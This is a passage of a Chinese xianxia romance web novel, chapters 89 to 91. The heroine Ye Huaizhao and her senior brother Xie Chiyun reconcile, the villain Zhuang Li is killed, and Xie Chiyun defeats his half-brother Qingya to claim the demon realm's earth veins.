她说:“你是不是以为,我爱你的前提,是你永远会留在我的身边、永远不离开我?” 屋外似乎有人来了,细碎的话语透过木墙零零散散地传进来,可窗边的两人没有一个在意。 金粉似的浮尘在光线中飘动,掠过叶怀昭因为情绪波动而轻轻颤抖的发髻。 她的眼眶发红,可眸光却前所未有的坚定固执,声音轻缓,带着千斤似的重量。 “那我告诉你——” “我喜欢你,不是怜悯,也不是好奇,更不是孩子心性的一时兴起。” “只是因为你是谢迟云。”她一字一顿,“是独一无二、世间再不会出现的谢迟云。” 叶怀昭无数次强调他永远会是她的师兄。 并不是她在不安、惶恐。 而是因为她知道,师兄是一个自以为是的混蛋、一个固执又容易后退的胆小鬼。 他愿意为了她去死,却迟疑她会因为他的身份而动摇。 他需要她任性、娇纵、不管不顾地提出所有不合理、不可能实现的愿望。 只有这会让他相信,他被师妹需要着,他被师妹注视着。 叶怀昭一直都知道他压在心底,即便是无忘川临死前都不愿对她说的话是什么。 ——“如果我无法永远留在你身边,无法一直是你的师兄……你还愿意爱我吗?” 叶怀昭抬手,按住了他腰间的佩剑。 “如果我要让你永远无法离开,我就不会送你这把剑,也不会将你从青冥台带走。” 她轻轻抬着下巴,语气一如既往的娇纵傲慢。 “修真界仙首想囚禁一个半魔,不需要任何代价。” 第89章 第八十九章“不等到回长风门再解蛊了…… 世人将危及性命的术法称为禁术,不容正派弟子修炼。譬如庄黎从无相宫禁地窃来的延续寿命、鸠占鹊巢的术法。 但禁术之上还有一类术法,却是连记载都不允许记载。 比如这剔骨洗髓之术。 叶怀昭不久前在庄黎的记忆中看到过剔骨洗髓之术。 他认为自己的天资不好是因为他并非天生仙骨,再加上年幼时家道中落,没办法像是大宗门弟子那般趁着还未入道前便先洗涤了灵根。 于是在成为仙首后,他便去寻了剔骨洗髓的办法,试图将自己的根骨灵根全部换掉。 他做足了准备,又掌握着修真界的坤脉,本以为自己剔骨洗髓万无一失。 可他还是赌输了。 失败后的庄黎魂魄受损、寿命大减,这才让他升起了换一具本就天资出众傀儡的想法。 某种意义上来说,他的人生第一大转折点是成为仙首那刻,从剔骨洗髓失败后,便自高峰直线下滑,最终跌入了无可挽回的深渊。 身为仙首的庄黎面对剔骨洗髓之术都无计可施。 但谢迟云却除此之外没有任何办法,他只能去赌这一个可能。 赌赢了,他今后再不会被魔气和灵力相冲的问题困扰,可以陪伴师妹直到寿命尽头。 赌输了……那便是提前几日去死。 他对叶怀昭说:“于我而言很合算。” 叶怀昭抓着他的手,恶狠狠说:“谁让你拿自己的命来衡量合不合算的?” 谢迟云只好闭口不言。 叶怀昭沉思着说:“虽然庄黎失败了,但他的办法可以借鉴一下。” 世上可以做仙骨的东西很多,但无一例外,都需要与本人身体契合。 庄黎身为仙首,他选择的仙骨就是修真界的一条坤脉。 坤脉如同树根一样在修真界地底深处纵横交错,将灵力输送到修真界各处,又与魔界的坤脉相交,灵力同魔气在天地间达到平衡状态。 庄黎想要以坤脉作为仙骨,就是看中了坤脉对灵力近乎恐怖的包容度。 而且坤脉每隔一段时间就会重新汇融或分割,即便他抽走了一条坤脉,也不会对修真界造成什么影响,更不会被其他人发现。 叶怀昭觉得这个方法很可行。 但谢迟云却说:“师妹,修真界的坤脉对我而言并不适用。” 叶怀昭一愣,这才想起来一直被她忽略的一件事。 对哦,谢迟云和青崖是同父异母的兄弟,也就是说他的父亲就是如今掌控魔界坤脉的魔君。 这样说来,他继承的其实是他们烛龙一族的血脉。 他当然可以选择用坤脉作为被替换掉的那部分根骨,但不能选择修真界的坤脉,只能选择魔界的坤脉。 叶怀昭心中忽地一跳。 如果选择魔界的坤脉,必须要让坤脉被自己掌控。 众所周知,修真界的仙首掌控修真界坤脉;魔界的魔君掌控魔界坤脉。 换言之,谢迟云若是想剔骨洗髓,必须要成为魔君。 某种难言的微妙之感在叶怀昭的心头环绕。 她之前总是在怀疑,为何她做出了那么多努力、那么多改变,都无法阻止谢迟云入魔的事实。 无论多少个世界都是这样。 可除非他入魔,他根本没有可能活下去。 从谢迟云出生那刻,就注定了和叶怀昭的身份对立。 但那又如何呢? 至少她不在意,他也不在意。 这就足够了。 思及此,叶怀昭忽然低头,亲了一下男人的脸颊。 谢迟云:“?” 没等他开口询问,叶怀昭就已若无其事地转移了话题。 “你是不是早就想这么做了?”她说,“之前在丹河秘境你为了救我中了连魂蛊,我欠你一个人情,允许你对我提出一个要求。” “你当时跟我说‘在修真界好好修炼,不要到处乱跑’。” 这句话叶怀昭记得清清楚楚。 因为她从未遇到还人情债时提出这种要求的人。 但如今看来,这句话就颇为耐人寻味。 不让她乱跑,那不就是在暗示她以后不许跟着他去魔界吗! 叶怀昭像是忽然想起来所有事,伸着手指开始和他翻旧账。 “还有,你是不是早就认识赵清浔,一直知道她的计划?你去乐寿城根本就不是处理异动,而是要和她做交易。” “再有,在平清城的时候总觉得你有时候就忽然不见了,是不是在和你那些魔族手下吩咐怎么把魔界的水搅乱、再将魔君之位收入囊中?” 她的思路前所未有的清晰,越说越觉得自己当初真够眼瞎的,这都没有任何察觉。 谢迟云抓住她竖在两人身前的手,无奈说:“并不全是。最开始我也不是想回魔界的。” 叶怀昭追问他:“那你后来为什么改变想法,就只是因为要续命吗?” 谢迟云看她一眼。 他的眸光微动,似乎不是很想说原因。 叶怀昭眯了眯眼睛,被他抓着的手抽开,直接按着他就向床榻上推。 他们拉拉扯扯半天,最终还是叶怀昭更胜一筹,得意洋洋地坐在他身上,哼了一声道:“快说,不许再编什么真话假话。” 谢迟云没有反抗地被她按住肩膀,目光在她因为打闹而微微汗意、酣红的面颊上落了一瞬,又不动声色地移开。 他垂着眼眸:“也因为无忘川的事情。” 他停顿一瞬,似乎是觉得有点难以启齿,低声说:“我以为,师妹是被我连累的。” 那年他二十岁,离开 魔界已有十年。 他已经将过去的自己分割,如今活下去的只是长风门的乘玉仙君。 他很崇敬感激自己的师尊,也只想和自己的师妹吵吵闹闹地过一辈子。 长风门很好,好到他早已将魔界的那些记忆放下。 虽然魔气的问题依旧困扰着他,但谢迟云并没有将其放在心上,他并不觉得自己有一天会魔气失控,甚至在魔界之人找到他,想要辅佐他登上魔君之位时他还冷漠拒绝了。 他对魔界没有任何归属感,对魔君之位更没有兴趣。与其研究怎么掌握更多权利,他更想知道师妹到底喜欢谁、季衡远那小子到底什么时候能离师妹远些。 他说自己如今不叫“扶珩”,他只是“谢迟云”,和魔界没有任何关系。 那些魔族走了,可第二天便传来了叶怀昭失踪的消息。 带走她的就是来找谢迟云的那两个魔族。 没人知道当谢迟云听说这个消息时,他在院中站了多久。 他看着落日在雪地上留下的橘色印迹,仿佛看到了魔界无忘川终年燃烧的炼狱之火。 那一瞬间他便知道,他已经摆脱的魔界噩梦,从来都如同毒蛇般攀附于阴影当中。 只在他沉溺于幻梦、放松警惕之时,狠狠扑上来将他吞入腹中。 ——他从来都没有走出过魔界的无忘川。 “将师妹救回来后,我便重新找到了那些不愿归附于山梧山槐之流的魔族。”谢迟云道,“他们看中我没有母亲,没有母族势力,便想利用我扶我上位,自己在背后操纵魔界。” 但谢迟云不是一个会任人摆布的人。 两年时间过去,曾经想要利用他的那些势力已经完全收归于他的手中,他已经成为魔界事实上一方势力的主人。 他也知道了当年的真相。 那两个魔族并没有想将叶怀昭带去无忘川,他们还不敢直接杀了她。 但他们的动向一直被山槐留在南境的魔族掌握着,她正愁找不到机会按照庄黎的要求杀人,发觉此事时就顺势动了手。 于是本应被带去魔界吓唬一圈的叶怀昭,被抓去了三大禁地之一的无忘川。 无忘川只有魔气而无灵力,若想救她,只能谢迟云亲自前往。 她试图让他们两人都永远地留在无忘川。 当然,结果是她失败了,甚至还激起了谢迟云警惕心。 他不会允许任何魔族因为他而牵连到他的师妹。 “如果成为魔君,魔界就再不会有人敢为了威胁我,于是对师妹下手了吧。”他轻轻抱住叶怀昭,声音温柔,“在动手之前,我就会先将他们杀掉。” 叶怀昭:“……” 她有点被震撼到了。 她伸手将谢迟云从自己身上拉下来,双手捧着他的脸说:“所以你在我养伤的那一年中一直留在山下,就是为了干这些事?” 谢迟云看着她,答非所问:“南境中被那几个魔安插的魔族很多,将他们斩草除根很麻烦,也很累。所以我偶尔也会上山,隔着院门望上师妹一眼。” 虽然绝大部分时候,叶怀昭都在昏睡。 但她安安稳稳地活着这件事,就已经带给谢迟云莫大的安慰了。 那段时间他杀了太多魔族,身上不可避免地沾染了魔气,自己本身的魔气也开始暴动。 若非叶珩为他开了阵法后门,他连进长风门都做不到。甚至不敢过多接近叶怀昭,因为师妹的灵识敏锐,轻易就能发现他的踪迹。 他就这样等了一天又一天,等终于有一天忙完了,回到长风门时,却发现师妹已经完全不记得他了。 他想要让师妹喜欢上自己,可那是他处理完所有威胁她性命东西的之后之事。 在叶怀昭看来,或许那就是总是对她避而不见、言辞冷漠吧。 因为他真的很担心自己忍受不住,主动靠近她。 叶怀昭觉得自己心底最柔软的那一块被触动了。 她顿了顿,只能挤出来一句:“……为什么不早告诉我?” 谢迟云没有说话,但叶怀昭却从他的眼中找到了答案。 ——因为我当时还没有让你重新喜欢上我。 她抿了抿唇,忽地毫无征兆地抓着他的肩膀亲了下去。 谢迟云一手扶着她的腰,一手环住她的肩膀,在湿热的呼吸中轻笑着说:“师妹,不等到回长风门再解蛊了吗?” 叶怀昭故意咬他一口,看着他近在咫尺映着温柔眸光的眼瞳,轻哼一声说: “立这种誓言容易事与愿违,我才不要。” 日出的光爬上檐角,透过茂密枝叶的光隙在梁柱上轻晃,赵清浔向山下走去。 被她留在山脚下的少年眼巴巴地看着她,伸手主动接过她背着的竹筐。 “叶仙君还有乘玉君不下山吗?”徐规问道。 赵清浔将他被露水洇湿的衣角用简单的术法烘干,又将他戴得歪斜的笠帽扶正,这才牵着他粗糙的手向外走。 “这几日都不会下山的,”她眨了眨眼睛,说道,“估计整个修真界——或者魔界,都在找他们吧。” 谁也不知道,就在长风门山外的访客挤破石阶、贺礼如流水般送去东云峰之时。 新出世的修真界仙首就和她的师兄躲在仅有三两弟子、冷冷清清的宗门后山中,被他抓着脚踝缠上金铃。 每一次摇晃轻撞,都发出叮叮铃铃的脆响。 第90章 第九十章前夕 和庄黎的一战没让叶怀昭受多少伤,但他们还是在山上待了好几日,无论是叶怀昭还是谢迟云,都默契地没有提去魔界的事。 南境的初夏已经燥热难耐,到了夜里才有了阵阵凉风,吹过葱郁树林时发出细碎的娑娑声响。 叶怀昭懒散地躺在长长竹椅上,伸出一根手指,用灵力操控着灯笼将其挂上檐角。 旁边的谢迟云问她:“师妹,你要炙鸡还是串烤鲫鱼?” 叶怀昭:“我不能都要吗?” 于是谢迟云将两样热气腾腾的食物放在瓷碗中递给她。 青石垒砌的临时灶坑中,炭火在黑夜中散发着灼热的光亮,不时响起噼啪的爆鸣。 徐规赤着脚从旁边的河溪中走出来,举起手,开开心心地对挽着袖子剥松茸的赵清洵说:“阿洵你看,我抓到螃蟹了!” 赵清洵抬起头瞥了一眼。 说实话,那螃蟹还没她手掌大。 黑灯瞎火的,也难为他竟然还能抓到。 她违心说:“嗯,一会我们吃烤螃蟹。” 徐规在她的身旁坐下,对竹椅上的叶怀昭说:“叶仙君,今日我去城里时,听见好多人都在说你是被乘玉君当做人质抓走了,正准备召集人手去魔界救你。” 关于修真界新任仙首去哪了,这个问题一千个人中有一千种答案。 叶怀昭被烤鱼烫得嘶嘶吹气,闻言翻了个白眼:“他们昨日还说我已经死了,今天就开始说我成人质了?明天是不是就变成我也入魔叛逃魔界了?” 她和谢迟云待在山上的这段日子中,赵清洵和徐规时不时就来说些修真界的事情,绝大部分都是众人对于他们两个人的猜测。 即便当时叶怀昭趁着所有人都没有注意到谢迟云的时候就把他带走了,但事后还是有人发觉了长风门的剑修首席、堂堂乘玉君竟然是个魔族。 如同当初的林漱雪一样, 现在的谢迟云在修真界中的名声一落千丈。 长风门的山外围得水泄不通,一半是来找叶怀昭的,另一半就是来问叶珩他怎么收了个魔族徒弟的。 关于后者,叶珩的说法是他虽然一开始不知道谢迟云的身份,但长风门本就不拒绝收魔族血统的弟子,他不会否认谢迟云是他的徒弟。 他的话在尚且认为人魔对立的修真界中掀起了巨大风浪。 但这风浪还没来得及落下去,转头庄黎和沈玉山做的事情就成功替谢迟云吸引了全部火力。 是林漱雪将他的事情公之于众了。 短短一夜之间,青冥台的仙师大换水,新上任的掌门庄丹雪做的第一件事就是签下了对她大师兄沈玉山的通缉令。 赵清洵道:“今早她在东境的边界截到了沈玉山,但是没能把人杀了,沈玉山重伤逃走了。” 徐规蹲在火堆旁烤着螃蟹,接嘴说:“我哥说庄丹雪当时一点都没留手,沈玉山何止是重伤,那都算是奄奄一息了吧,就算是逃走了估计也活不了多久。” “他可没死在修真界。”叶怀昭哼了一声道。 徐规:“啊?还有人救他?” 叶怀昭咬着鱼肉:“不是人,是魔。” 坤脉在修真界各处流淌,每一道坤脉都是叶怀昭的眼睛。 庄丹雪和沈玉山交手时,叶怀昭就躺在竹椅上听着山中大雨,借着坤脉围观。 徐规他哥、那位在自己弟弟放下乐寿城城主之位后不得已顶上的徐家大公子说得有些偏差。 庄丹雪其实对沈玉山留手了,她没留手的是庄黎。 ——世上从来就没有“沈玉山”这个人,沈玉山本就是庄黎一半的魂魄。 当初叶怀昭在楼阁中发现的分割魂魄的禁术,就是庄黎为自己造了一具没有魂魄的躯体,再将自己的一半魂魄放入其中。 他一边在为自己延续寿命,一边在用沈玉山的身体同山槐交易,寻找修补魂魄之术。 沈玉山的身体是他最后的底牌,是一旦“庄黎”所做的事情被揭露,留给他唯一的退路。 毕竟在世人眼中,沈玉山和庄黎是两个人,即便杀了“庄黎”又如何,庄黎依旧能够借着“沈玉山”的身份活着。 庄丹雪满以为自己逃跑路上遇见的大师兄会是与自己同病相怜的人,却不曾想那就是挑断她经脉的亲生父亲。 她知道世人眼中已经被叶怀昭一剑斩杀的庄黎没有死,魂魄就存在于沈玉山身上。 她对庄黎失望透顶,可她却无法忘记沈玉山作为“师兄”时对她的照拂。 这一丝的心软,让庄丹雪到最后也没有说出他们本就是一人这件事。 叶怀昭将她的心思看得清清楚楚。 ——她不想抹除“沈玉山”在这世间的痕迹,即便是罪名,至少证明“沈玉山”曾经在这世上存在过。 徐规遗憾道:“哪个魔竟然还救了他,这不是祸害遗千年么。” 叶怀昭:“我只说那个魔救了他,又没说他一定没死。” 徐规一愣。 赵清洵倒是敏锐地抬起头,想了想说:“叶仙君的意思,是说那个魔救了他后,有可能又把他杀了?” “那这魔族图什么啊?”徐规不解道。 叶怀昭吃得酒足饭饱,幸福得微微眯起眼眸,向旁边抬了抬下巴:“这就要问你们乘玉君——他可对这魔族最熟悉了解了。” 三双眼睛的注视下,谢迟云不知从哪捡了一小筐栗子回来,简单处理后顺手丢进了火堆灰烬里。 他正拿着一根树枝拨着栗子,听到这句话后声音淡淡说: “大约是贪心吧。” 明明就此收手才是最明智的选择,偏偏要去赌那侥幸的可能,不撞南墙不回头。 从小到大都是这样。 深夜,谢迟云抱着昏昏欲睡的叶怀昭,对她说:“师尊给我发了消息,让我们玩够了就尽快回去。” 叶怀昭困得眼皮都睁不开,闷闷地说:“才不要……要是回去了,下次再出山可就是下辈子的事了。” 她抓着男人的胳膊,打了个哈欠道:“我还没去魔界逛过呢,等杀了他,你要陪我……” 陪她什么……? 她的话还没说完,人就已经睡过去了。 谢迟云垂眼看着怀中少女,然后将人抱得更紧了些。 他们谁都没有提失败了会怎样。 青崖是个贪心的人,但谢迟云也是个贪心的人。 贪心到,想要永永远远地陪叶怀昭一辈子。 山峦的轮廓隐没于黑夜,坤脉在地底之下流淌,树根一般交错着生长,穿过暗河、越过山谷,跨过南境的边界,与魔界的坤脉交汇。 无忘川的魔气肆虐,永不见白昼的夜幕下,是经年不灭的炼狱之火。 这里许久没有生人踏入,魔气与怨气滋养而生的凶兽不耐地甩着尾巴,忽地若有所觉地弓起身体,发出警惕的低吼。 下一瞬,一道高挑的人影忽然出现在骷髅堆砌的白骨山上。 眼中闪烁着猩红色杀意的凶兽想都不想地便要扑上去,却被男人淡淡扫过来的目光逼停。 强大的魔气威胁似的悬停于头颅之上,凶兽从喉咙中挤出低低的呜咽,竖起浑身的毛发,蜷着利爪一点一点后退。 青崖懒得再看它,手指微抬,一个满身是血的男人倏地出现在他的面前。 他气若游丝,狼狈趴伏在地上时几乎看不到呼吸的起伏,鲜血于身下蔓延,不远处的凶兽贪婪地注视着这边,却始终不敢更进一步。 隔了许久,那人才迟钝地抬起头,声音嘶哑:“是谁……?” 青崖耐着性子道:“这个时候除了我,还有谁会救你呢?” “沈玉山”空茫而无焦点的眼眸忽地顿住。 下一刻,那张温和素雅的面庞蓦地扭曲。 他什么都看不见,却本能地向着出声的方向伸手,抓着青崖的袍角嘶吼说:“杀了她、你去杀了她!我什么都可以给你,你想要什么我都可以给你!” 青崖蹲下身,近距离看着地上狼狈不堪的男人:“‘她’是谁?” “沈玉山”断裂的指甲陷进掌心,咬着牙说:“叶怀昭——” 如果没有她,他依旧会是呼风唤雨的修真界仙首,他不会被天道放弃,他不会陷入这般境遇。 只要杀了她,只要杀了她就能向天道证明他才是最有可能成仙的人,他就能重新拥有曾经的地位! “沈玉山”在心中发了狠的想,等我重新回到那个位子,第一个要杀的人就是林漱雪、还有她的师尊、还有整个长风门……所有同他作对的人都该死! “是她吗?”那个魔族的声音轻飘飘的,带着点笑意。 还未等“沈玉山”回应,魔族便自顾自地接了下半句话。 “——我以为庄仙首要杀的‘她’,是让您如此凄惨狼狈的青冥台少掌门、您的女儿呢。” “沈玉山”像是被迎面泼了盆冷水,被恨意冲昏的大脑霎时间清醒过来。 他是青崖。 庄黎忽然意识到。 他本不该知道沈玉山和庄黎是同一人的。 不久前那些隐隐觉得不对的细节飞速地从他的脑中闪过,电光石火间,庄黎骤然醒悟。 他不可置信道:“——是你把叶怀昭引过去的!” 庄黎直到最后也想不明白叶怀昭和封爻到底是怎么 神不知鬼不觉进入他的楼阁的。 还有林漱雪,她到底从哪知道的那么多事情?谁帮她瞒过他的感知破开阵法的? 庄黎怀疑过所有人,甚至他都怀疑是庄丹雪知道了一切所以悄悄告诉了叶怀昭——若那天“沈玉山”去得晚些,她说不定都要直接跟着叶怀昭跑了。 他唯独没有怀疑过青崖。 因为他是魔界那几位少主中,最想让谢迟云死的那个。 “你为什么这么做?”庄黎甚至觉得有种荒谬的可笑,“——因为我把山槐杀了?” “虽然我很想说是,然后对你阐述一番我和山槐的姐弟情深。”青崖的手肘撑在膝上,微笑着说,“但事实上,我们并没有任何亲人之间的情分可言。” 那你是脑子有病吗?! 庄黎刚想骂道,话语就卡在了喉中。 “庄仙首,你杀山槐的原因,也是如今我要杀你的理由。”青崖的手攥着他的脖颈,如此说道。 庄黎杀山槐是为了什么? 因为她不清楚他和沈玉山本就是一人,为了两头通吃,选择将沈玉山的情报卖给庄黎、再将庄黎的情报反手卖给沈玉山。 这样的墙头草,庄黎在目的达成后不会再留着她。 “庄仙首,您说,山槐当初是怎么知道我在平清城的呢?” 她去平清城并非是为了杀叶怀昭。 而是为了杀自己同父异母的弟弟,青崖。 脖颈的压迫一点一点加重,胸膛上似乎压着千钧重的巨石。庄黎看不清眼前,却好像能透过他的声音看到那双与谢迟云弧度相似的笑眼。 意识消散的最后,庄黎听到他说: “可惜了。” ——可惜你选择了我,可惜你不止选择了我。 青崖站起身,拿出手帕擦着自己沾上鲜血的手指,任由虎视眈眈的凶兽忍受不住地扑向面前的死人。 他的身影消失在原地,转瞬回到了一片狼藉、满地残肢断臂的无忘宫。 前任魔君、他亲生父亲的庞大躯体还留在高台上,漆黑的烛龙死不瞑目,无一人敢走近。 青崖冷淡地瞥了它一眼,对旁边跪在地上的魔将说:“如果半个时辰后它还留在这里,那你也跟着它一同去死吧。” 他是曾经呼风唤雨、统领一方的魔将。 可面对新生的魔君,如今也只能声音颤抖地说:“谨遵旨意。” 他战战兢兢想要退下,却听魔君说:“还有,记得把门前的血迹也打扫得干净些。” 魔将知道自己不该质疑魔君的决定。 但他嘴上没说,心中却困惑地想:十三殿下曾经是这么有洁癖的人吗? 像是知道他心中所想,魔君含笑的声音慢慢响起。 “时隔十年,九殿下才回到魔界,不应该让他感到回家的亲切吗?”【魔蝎小说 mo xie xs .c om】 【全文完结】 第91章 第九十一章也永远爱你。…… 明月隐没阴云,浓稠的血色晕染夜幕。 青崖听到宫殿外面传来不容忽视的喧嚣嘈杂声音时,已是到了夜深之时。 “殿下!” 他的亲信惶恐不安地跪在地上,对他禀报说:“妖族的首领不知为何忽然越过了边界,率先出手攻占了我们一座城池,甚至在向中央地界进发!” “还有驻守魔界六州的魔将,他们的人手也在向着无忘魔宫的方向赶来!” “殿下!他带人闯进来了!” 似乎带着死亡气息的消息接连不断地传进来,可高台之上的魔君却像是没听到一般,只是走神似的注视着身后白骨铸就的烛龙柱,目光空茫而飘忽。 直到听到最后一句话,他的眼瞳才轻轻动了动。 他侧首,看向最后出声的魔族,冷不丁问:“他来了?” 魔族的额头抵在墨玉石阶上,声音颤抖:“是……九殿下、长珩殿下杀进来了。” 宫殿中霎时间陷入了冰冷的死寂。 呼吸声都几乎难以听到的殿中,忽地响起一道轻笑声。 魔君自言自语一般说:“最终还是走到这一步了啊。” 他转过身,脸上重新挂上了笑意假面。 冰凉的袍角划过魔族眼前的墨玉石阶,他依旧低伏着身体,听到魔君的声音远远传来:“不用拦他了,你带着我母亲走吧。” “殿下!” “他不会拦你们的。”青崖轻轻抬手,一道流淌着鲜血的阵法旋转着在魔族的脚下升起,带着不容置疑的意味。 在魔族的身影消失在宫殿中的前一刻,青崖看着缓缓自殿前长阶走来的青年,声音轻缓说: “毕竟,他想杀的人只有我。” 无忘魔宫的檐角挑起夜幕,下方悬坠的骨铃于魔气翻涌间摇晃,城中警戒的古钟一声一声地撞响。 谢迟云站在自己曾经最熟悉的宫殿中,抬眼,目光平静地注视着站在高台上的男人。 即便昨日已经尽力地处理,但殿中依旧有阵阵阴风环绕,穿过镂空的雕刻,发出像是哭泣般的尖利嚎叫。 谢迟云望了一眼沾着鲜血的烛龙柱。 “你把他杀了?” 魔君轻轻耸肩,像是与他随口闲聊般说:“是啊,昨日才把他杀了,今日你就来了。” 青崖:“他死的时候很是不可置信呢,明明已经‘病’得意识模糊,偏偏精准地叫出了我的名字,骂我是个养不熟的白眼狼、说我是不肖子孙。” 说到这里,他嗤笑一声:“——这话说得,倒真把自己当父亲了。” 他说了半晌,可谢迟云却没什么回应,于是遗憾地闭上了嘴,眼中升起认真的情绪。 在目光相撞的一瞬间,青崖手指微抬,一道通体漆黑的长剑自虚空中被他抽出。 幽火明灭间剑风横扫宫殿,满座骨铃在刹那间破碎! 谢迟云持剑拦住那磅礴的剑风,两人交手数招,互不相让。 “你知道吗,其实我小时候一直很讨厌你。” 两道锋利剑刃相撞,发出一道清脆的铮响。 极近的距离下,青崖微微眯起猩红色的眼眸,一眨不眨盯着面前的男人。 “明明我们都是一样的——一样的不被重视、一样的备受欺凌、一样的出生在这令人厌烦的地方,凭什么你总是格格不入、凭什么你总是能够站在远处,看着我们在泥潭中沉沦?” 魔君有很多孩子,他有很多兄弟姐妹,可这其中,唯有谢迟云是最独特的一个。 他同他一样都是母亲身份低微,唯一的区别只在于他的母亲是个想要一步登天的奴隶,而谢迟云的母亲谢挽情是被魔君强行从修真界抢来的修士。 或许就是这一半的修士血脉,让谢迟云从来都没有真正融入过魔界。 青崖小时候最大的愿望是成为魔君,不再让他和母亲受他人欺辱。 可谢迟云小时候最大的愿望,却是永远地离开这里。 如同青崖不理解谢迟云为什么总是那么心软一样,谢迟云也不理解为什么他们总是不拿人当人看。 青崖讨厌他,因为谢迟云这样总是衬托得他像是一个恶人一样,明明这只是魔界当中最常见的事情呀,反倒是他才不正常吧? 谢迟云一剑将他甩开,周身魔气暴动,可猩红色的眼中依旧冷静,像是丝毫不为他的话动摇。 青崖将坤脉中的魔气调动出来时,不由笑了一声。 “你看,就是这样。” 烛龙柱寸寸爆裂,白骨沉屑飞扬,模糊的视野中浓稠如夜的漆黑魔气携带着滔天杀意直冲谢迟云的面门。 “如果你不回来,我也不会对你动手的,哥哥。” 青崖最讨厌的人就是谢迟云。 可当初也是他瞒住所有人,让谢挽情带着谢迟云逃离了魔界。 谢迟云看着他:“如果你放弃魔界坤脉,我也不会杀你。” 两双弧度相似的猩红色眼眸对视,却无一人动摇。 显然,无论是青崖还是谢迟云,他们都不会退让。 他们都有自己必须完成的事情,立场从一开始便不相同,没有任何回旋的余地。 他们之间终有一个人会死在这里。 两道截然不同却又千丝万缕的魔气不断相撞 又分开,气流将半座无忘魔宫都掀飞一半,废墟当中依旧有两道身影纠缠厮杀。 青崖的眼瞳因为长时间调动魔气而布满了红血丝,他一剑划破谢迟云护体的屏障,声音嘶哑:“你既然见过叶怀昭杀了庄黎,又哪来的底气觉得你能杀了我呢?!” 坤脉当中的魔气被他调动而起,化作一条漆黑的长龙冲向没有任何保护的谢迟云。 电光石火间,一道澄净磅礴的灵力划破虚空横贯而来,恰好将长龙拦下。 “凭你只掌握了一半的魔界坤脉。” 身穿银红羽丝长裙的少女踏入满地狼藉的无忘魔宫,赤色红莲的虚影在魔界上空展开,挥手间扬起庞大的无象剑意。 青崖的脸色微变。 他试图再次近身上前,却被掌控修真界坤脉的叶怀昭劈手拦下。 赤红到接近漆黑的火焰熊熊燃烧,白骨堆砌的残肢断臂中黑雾翻涌。 叶怀昭轻轻抬头,看到因为魔气暴动而面无表情的谢迟云。 他的剑尖朝下,鲜血将高台染红了一片。望见叶怀昭时,他身上的魔气尽力控制着收敛,但想要破坏一切的欲望依旧让男人控制不住地攥紧剑柄。 无数句话语,最终只汇聚成一道极轻的声音。 “师妹,我相信你。” 在魔界界域中,叶怀昭的灵力无法完全杀死青崖。 只有有着相同血脉的谢迟云可以做到。 若想杀他,必须要有与他对等的实力。 整座宫殿在坤脉的冲击下摇摇欲坠,震天撼地的声响中,叶怀昭的喉头轻轻滚动。 下一瞬,她抬起手,灵力勾连无忘川的坤脉,强行牵引着穿过千里、越过群山,猛地自脚下破土而出! 由魔气构筑的漆黑长龙跃起,贯穿了谢迟云的胸膛。 两人身后,青崖的瞳孔骤然一缩。 如同当初在青冥台一般,在无忘魔宫外厮杀的魔族将领忽地抬头。 他们望向被魔气彻底吞没的无忘魔宫,惊骇得久久无声。 不知过了多久,才有人喃喃着说:“魔君死时,还没来得及将坤脉的掌控权交出去吧……?” 修真界的坤脉选择仙首,可魔界的坤脉却是由魔君继承给下一任魔君。 时间匆忙,青崖只来得及去无忘川拿到一半的坤脉掌控权。 另一半的坤脉无主,才给了叶怀昭的可乘之机。 无忘魔宫中,青崖的本体显露,终于撕碎了叶怀昭留在他身前禁锢的赤色红莲。 他低吼一声,目的明确地直冲被漆黑魔气环绕的男人。 青崖知道谢迟云在做什么。 只要他将那一半的仙骨剔除,再以魔界坤脉铸骨,就会拥有一具完美无暇的天生魔骨。 当两人各有一半魔界坤脉时,那细微的修为差异便是决定生死的关键。 无论如何,他都不能让谢迟云剔骨洗髓成功! 烛龙庞大的身躯碾过一切,锋利爪子却在即将撕破屏障时被无数道赤红的灵力术法拦下。 叶怀昭用手背蹭掉自己唇边的鲜血,眼眸亮着凶戾的光。 “我看谁敢动他。” 本应该枯竭的丹田被她强行抽调灵力填充,火焰烧穿夜幕,无比耀眼的光芒如同白昼。 就是这一瞬间的滞涩,青崖庞大的身躯忽地被什么东西狠狠抽飞。 他翻滚着撞碎所有梁柱墙壁,在碎瓦废墟中狼狈地抬首,发出一声威胁的嘶吼。 漆黑魔气飘散,泛着黑曜石般冷玉光泽的龙鳞一寸一寸地显露,庞大的龙身自高台中慢慢抬起。 烛龙睁开了他猩红色的竖瞳。 刹那间,浑厚的龙吟之声响彻整个魔界。 叶怀昭扶着断裂的梁柱缓缓坐下。 她的大脑因为灵力使用过度而阵阵钝痛,可原本悬停于心口的巨石却轰然落地。 她看着自己微微有些颤抖的手掌,明明只是一瞬间的时间,可方才调动坤脉贯穿谢迟云胸膛的感觉却好似漫长无比。 她看着那两条烛龙在天幕中缠斗,魔气将天地都染得漆黑而猩红,每一次相撞都发出震耳欲聋的咆哮。 不知过了多久,那只鳞片上流淌着银色流光的烛龙忽地昂起龙首,抓住了另一只烛龙一瞬间的破绽,尖利齿牙恶狠狠地咬住了他的脖颈! 烛龙疯狂挣扎,却怎么也无法摆脱他的撕咬,气息渐渐变得微弱。 银白色闪电划破夜幕的那刻,他陨落了。 这之下就是彻底坍塌的无忘魔宫,叶怀昭勉强撑起手,试图将纷扬而起的灰尘碎屑挡住。 她的眼前一暗。 那只鳞片有着银色流光的烛龙用庞大的身躯将她圈住,挡住了所有飞起的碎屑。 飘着长须的龙首悬停于她的面前,猩红色的竖瞳安静地注视着她,瞳孔中映着破碎后向上飘散的灵力碎光。 叶怀昭的神色微微一怔。 她试探地伸手,轻轻抚上烛龙被魔气划开的一道伤痕。 “师兄?” 下一瞬,她伸出的手被另外一只更加宽大的手掌十指相扣地抓住了。 她的师兄抱着她,额头抵着她的额头。 “我在这里。”他说。 灵力和魔气飘扬着汇入雷电闪烁的天幕。 无忘魔宫中,叶怀昭任由他抱着自己,谁也没有说话,仿佛时间也在此时缓慢地静止。 直到黎明初升,疏淡的日光落到了她的眼前。 叶怀昭眨了下眼睛,从时间中醒来。 “师兄,你要是想拿回另一半坤脉,可是要去无忘川走一趟的。” “嗯。” “不过这一次,我可以勉勉强强、陪着你去一趟喔。” 谢迟云抬起眼,看着她:“只有这一次吗?” 叶怀昭踮起脚咬了下他的唇角,声音带着没有忍住的笑意。 “笨蛋,当然是永远啊。” 永远在这里。 也永远爱你。 ——全文完——【魔蝎小说 mo xie xs .c om】